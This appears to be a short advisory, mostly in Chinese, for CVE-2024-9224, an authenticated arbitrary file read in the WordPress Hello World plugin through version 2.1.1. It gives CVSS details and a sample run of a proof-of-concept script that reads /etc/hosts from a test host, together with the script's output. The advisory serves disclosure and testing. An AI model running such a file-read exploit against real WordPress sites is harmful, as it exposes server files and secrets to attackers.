Hello World <= 2.1.1 - 经过身份验证（订阅者及以上）任意文件读取
WordPress 的 Hello World 插件存在任意文件读取漏洞，影响版本包括 2.1.1 及之前的所有版本，漏洞位于 hello_world_lyric() 函数中。这使得经过身份验证的攻击者（拥有订阅者及以上权限）能够读取服务器上任意文件的内容，其中可能包含敏感信息。
Published: 2024-09-30 00:00:00
CVE: CVE-2024-9224
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 6.5
Slugs: hello-world
它只显示文本文件的一小部分。
python3 CVE-2024-9224.py -un user -p user --url http://kubernetes.docker.internal -f /etc/hosts
Vulnerability check: http://kubernetes.docker.internal
Logged in successfully.
Nonce value: 0dbe58cb8d
Extracted text: 127.0.0.1 localhost